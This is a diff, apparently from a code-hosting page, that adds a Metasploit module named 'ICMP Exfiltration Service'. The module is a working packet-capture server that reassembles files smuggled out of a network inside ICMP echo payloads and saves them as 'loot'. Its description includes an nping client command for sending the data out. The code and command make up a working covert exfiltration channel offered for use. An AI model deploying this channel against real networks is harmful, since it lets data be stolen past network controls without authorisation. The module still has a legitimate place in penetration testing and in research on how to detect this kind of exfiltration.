1
+ ##
2
+ # $Id$
3
+ ##
4
+
5
+ ##
6
+ # This file is part of the Metasploit Framework and may be subject to
7
+ # redistribution and commercial restrictions. Please see the Metasploit
8
+ # web site for more information on licensing and terms of use.
9
+ # http://metasploit.com/
10
+ ##
11
+
12
+ require 'msf/core'
13
+
14
+ class Metasploit3 < Msf ::Auxiliary
15
+
16
+ include Msf ::Exploit ::Remote ::Capture
17
+ include Msf ::Auxiliary ::Report
18
+
19
+ def initialize
20
+ super (
21
+ 'Name' => 'ICMP Exfiltration Service' ,
22
+ 'Description' => %q{
23
+ This module is designed to provide a server-side component to receive and store files
24
+ exfiltrated over ICMP echo request packets.
25
+
26
+ To use this module you will need to send an initial ICMP echo request containing the
27
+ specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
28
+ a random filename can be assisnged). All data received from this source will automatically
29
+ be added to the receive buffer until an ICMP echo request containing a specific end trigger
30
+ (defaults to '^EOL') is received.
31
+
32
+ Suggested Client:
33
+ Data can be sent from the client using a variety of tools. One such example is nping (included
34
+ with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1
35
+ } ,
36
+ 'Author' => 'Chris John Riley' ,
37
+ 'License' => MSF_LICENSE ,
38
+ 'References' =>
39
+ [
40
+ # packetfu
41
+ [ 'URL' , 'http://code.google.com/p/packetfu/' ] ,
42
+ # nping
43
+ [ 'URL' , 'http://nmap.org/book/nping-man.html' ] ,
44
+ # simple icmp
45
+ [ 'URL' , 'http://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/' ]
46
+ ]
47
+ )
48
+
49
+ register_options ( [
50
+ OptString . new ( 'START_TRIGGER' , [ true , 'Trigger for beginning of file' , '^BOF' ] ) ,
51
+ OptString . new ( 'END_TRIGGER' , [ true , 'Trigger for end of file' , '^EOF' ] ) ,
52
+ OptString . new ( 'RESP_START' , [ true , 'Data to respond when initial trigger matches' , 'SEND' ] ) ,
53
+ OptString . new ( 'RESP_CONT' , [ true , 'Data ro resond when continuation of data expected' , 'OK' ] ) ,
54
+ OptString . new ( 'RESP_END' , [ true , 'Data to response when EOF received and data saved' , 'COMPLETE' ] ) ,
55
+ OptString . new ( 'BPF_FILTER' , [ true , 'BFP format filter to listen for' , 'icmp' ] ) ,
56
+ OptString . new ( 'INTERFACE' , [ false , 'The name of the interface' ] ) ,
57
+ OptBool . new ( 'FNAME_IN_PACKET' , [ true , 'Filename presented in first packet straight after START_TRIGGER' , true ] )
58
+ ] , self . class )
59
+
60
+ register_advanced_options ( [
61
+ OptEnum . new ( 'CLOAK' , [ true , 'OS fingerprint to use for packet creation' , 'linux' , [ 'windows' , 'linux' , 'freebsd' ] ] ) ,
62
+ OptBool . new ( 'PROMISC' , [ true , 'Enable/Disable promiscuous mode' , false ] ) ,
63
+ OptAddress . new ( 'LOCALIP' , [ false , 'The IP address of the local interface' ] )
64
+ ] , self . class )
65
+
66
+ deregister_options ( 'SNAPLEN' , 'FILTER' , 'PCAPFILE' , 'RHOST' , 'UDP_SECRET' , 'GATEWAY' , 'NETMASK' , 'TIMEOUT' )
67
+ end
68
+
69
+ def run
70
+ begin
71
+ # check Pcaprub is up to date
72
+ if not netifaces_implemented?
73
+ print_error ( "WARNING : Pcaprub is not uptodate, some functionality will not be available" )
74
+ netifaces = false
75
+ else
76
+ netifaces = true
77
+ end
78
+
79
+ @interface = datastore [ 'INTERFACE' ] || Pcap . lookupdev
80
+ # this is needed on windows cause we send interface directly to Pcap functions
81
+ @interface = get_interface_guid ( @interface )
82
+ @iface_ip = datastore [ 'LOCALIP' ]
83
+ @iface_ip ||= Pcap . lookupaddrs ( @interface ) [ 0 ] if netifaces
84
+ raise "Interface IP is not defined and can not be guessed" unless @iface_ip
85
+
86
+ # start with blank slate
87
+ @record = false
88
+ @record_data = ''
89
+
90
+ if datastore [ 'PROMISC' ]
91
+ print_status ( "Warning: Promiscuous mode enabled. This may cause issues!" )
92
+ end
93
+
94
+ # start icmp listener process - loop
95
+ icmp_listener
96
+
97
+ ensure
98
+ store_file
99
+ print_status ( "\n Stopping ICMP listener on #{ @interface } (#{ @iface_ip } )" )
100
+ end
101
+ end
102
+
103
+ def icmp_listener
104
+ # start icmp listener
105
+
106
+ print_status ( "ICMP Listener started on #{ @interface } (#{ @iface_ip } ). Monitoring for trigger packet containing #{ datastore [ 'START_TRIGGER' ] } " )
107
+ if datastore [ 'FNAME_IN_PACKET' ]
108
+ print_status ( "Filename expected in initial packet, directly following trigger (e.g. #{ datastore [ 'START_TRIGGER' ] } filename.ext)" )
109
+ end
110
+
111
+ cap = PacketFu ::Capture . new (
112
+ :iface => @interface ,
113
+ :start => true ,
114
+ :filter => datastore [ 'BPF_FILTER' ] ,
115
+ :promisc => datastore [ 'PROMISC' ]
116
+ )
117
+ loop {
118
+ cap . stream . each do | pkt |
119
+ packet = PacketFu ::Packet . parse ( pkt )
120
+ data = packet . payload [ 4 ..-1 ]
121
+
122
+ if packet . is_icmp? and data =~ /#{ datastore [ 'START_TRIGGER' ] } /
123
+ # start of new file detected
124
+ vprint_status ( "#{ Time . now } : ICMP (type %d code %d) SRC:%s DST:%s" %
125
+ [ packet . icmp_type , packet . icmp_code , packet . ip_saddr , packet . ip_daddr ] )
126
+
127
+ # detect and warn if system is responding to ICMP echo requests
128
+ # suggested fixes:
129
+ # -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
130
+ # -(Windows) netsh firewall set icmpsetting 8 disable
131
+ # -(Windows) netsh firewall set opmode mode = ENABLE
132
+
133
+ if packet . icmp_type == 0 and packet . icmp_code == 0 and packet . ip_saddr == @iface_ip
134
+ raise RuntimeError , "Dectected ICMP echo response. Disable OS ICMP handling!"
135
+ end
136
+
137
+ if @record
138
+ print_error ( "New file started without saving old data" )
139
+ store_file
140
+ end
141
+
142
+ # begin recording stream
143
+ @record = true
144
+ @record_host = packet . ip_saddr
145
+ @record_data = ''
146
+
147
+ # set filename from data in incoming icmp packet
148
+ if datastore [ 'FNAME_IN_PACKET' ]
149
+ @filename = data [ ( ( datastore [ 'START_TRIGGER' ] . length ) -1 ) ..-1 ] . strip
150
+ end
151
+ # if filename not sent in packet, or FNAME_IN_PACKET false set time based name
152
+ if not datastore [ 'FNAME_IN_PACKET' ] or @filename . empty?
153
+ @filename = "icmp_exfil_" + ::Time . now . to_i . to_s # set filename based on current time
154
+ end
155
+
156
+ print_good ( "Beginning capture of \" #{ @filename } \" data" )
157
+
158
+ # create response packet icmp_pkt
159
+ icmp_response , contents = icmp_packet ( packet , datastore [ 'RESP_START' ] )
160
+
161
+ if not icmp_response
162
+ raise RuntimeError , "Could not build ICMP response"
163
+ else
164
+ # send response packet icmp_pkt
165
+ send_icmp ( icmp_response , contents )
166
+ end
167
+
168
+ elsif packet . is_icmp? and @record and @record_host == packet . ip_saddr
169
+ # check for EOF marker, if not continue recording data
170
+
171
+ if data =~ /#{ datastore [ 'END_TRIGGER' ] } /
172
+ # end of file marker found
173
+ print_status ( "#{ @record_data . length } bytes of data recevied in total" )
174
+ print_good ( "End of File received. Saving \" #{ @filename } \" to loot" )
175
+ store_file
176
+
177
+ # create response packet icmp_pkt
178
+ icmp_response , contents = icmp_packet ( packet , datastore [ 'RESP_END' ] )
179
+
180
+ if not icmp_response
181
+ raise RuntimeError , "Could not build ICMP response"
182
+ else
183
+ # send response packet icmp_pkt
184
+ send_icmp ( icmp_response , contents )
185
+ end
186
+
187
+ # turn off recording and clear status
188
+ @record = false
189
+ @record_host = ''
190
+ @record_data = ''
191
+
192
+ else
193
+ # add data to recording and continue
194
+ @record_data << data . to_s ( )
195
+ vprint_status ( "Received #{ data . length } bytes of data from #{ packet . ip_saddr } " )
196
+
197
+ # create response packet icmp_pkt
198
+ icmp_response , contents = icmp_packet ( packet , datastore [ 'RESP_CONT' ] )
199
+
200
+ if not icmp_response
201
+ raise RuntimeError , "Could not build ICMP response"
202
+ else
203
+ # send response packet icmp_pkt
204
+ send_icmp ( icmp_response , contents )
205
+ end
206
+ end
207
+ end
208
+ end
209
+ }
210
+ end
211
+
212
+ def icmp_packet ( packet , contents )
213
+ # create icmp response
214
+
215
+ @src_ip = packet . ip_daddr
216
+ src_mac = packet . eth_daddr
217
+ @dst_ip = packet . ip_saddr
218
+ dst_mac = packet . eth_saddr
219
+ icmp_id = packet . payload [ 0 , 2 ]
220
+ icmp_seq = packet . payload [ 2 , 2 ]
221
+
222
+ # create payload with matching id/seq
223
+ resp_payload = icmp_id + icmp_seq + contents
224
+
225
+ icmp_pkt = PacketFu ::ICMPPacket . new ( :flavor => datastore [ 'CLOAK' ] . downcase )
226
+ icmp_pkt . eth_saddr = src_mac
227
+ icmp_pkt . eth_daddr = dst_mac
228
+ icmp_pkt . icmp_type = 0
229
+ icmp_pkt . icmp_code = 0
230
+ icmp_pkt . payload = resp_payload
231
+ icmp_pkt . ip_saddr = @src_ip
232
+ icmp_pkt . ip_daddr = @dst_ip
233
+ icmp_pkt . recalc
234
+
235
+ icmp_response = icmp_pkt
236
+
237
+ return icmp_response , contents
238
+ end
239
+
240
+ def send_icmp ( icmp_response , contents )
241
+ # send icmp response on selected interface
242
+ icmp_response . to_w ( iface = @interface )
243
+ vprint_good ( "Response sent to #{ @dst_ip } containing response trigger : \" #{ contents } \" " )
244
+ end
245
+
246
+ def store_file
247
+ # store the file in loot if data is present
248
+ if @record_data and not @record_data . empty?
249
+ loot = store_loot (
250
+ "icmp_exfil" ,
251
+ "text/xml" ,
252
+ @src_ip ,
253
+ @record_data ,
254
+ @filename ,
255
+ "ICMP Exfiltrated Data"
256
+ )
257
+ print_good ( "Incoming file \" #{ @filename } \" saved to loot" )
258
+ print_good ( "Loot filename: #{ loot } " )
259
+ end
260
+ end
261
+ end
0 commit comments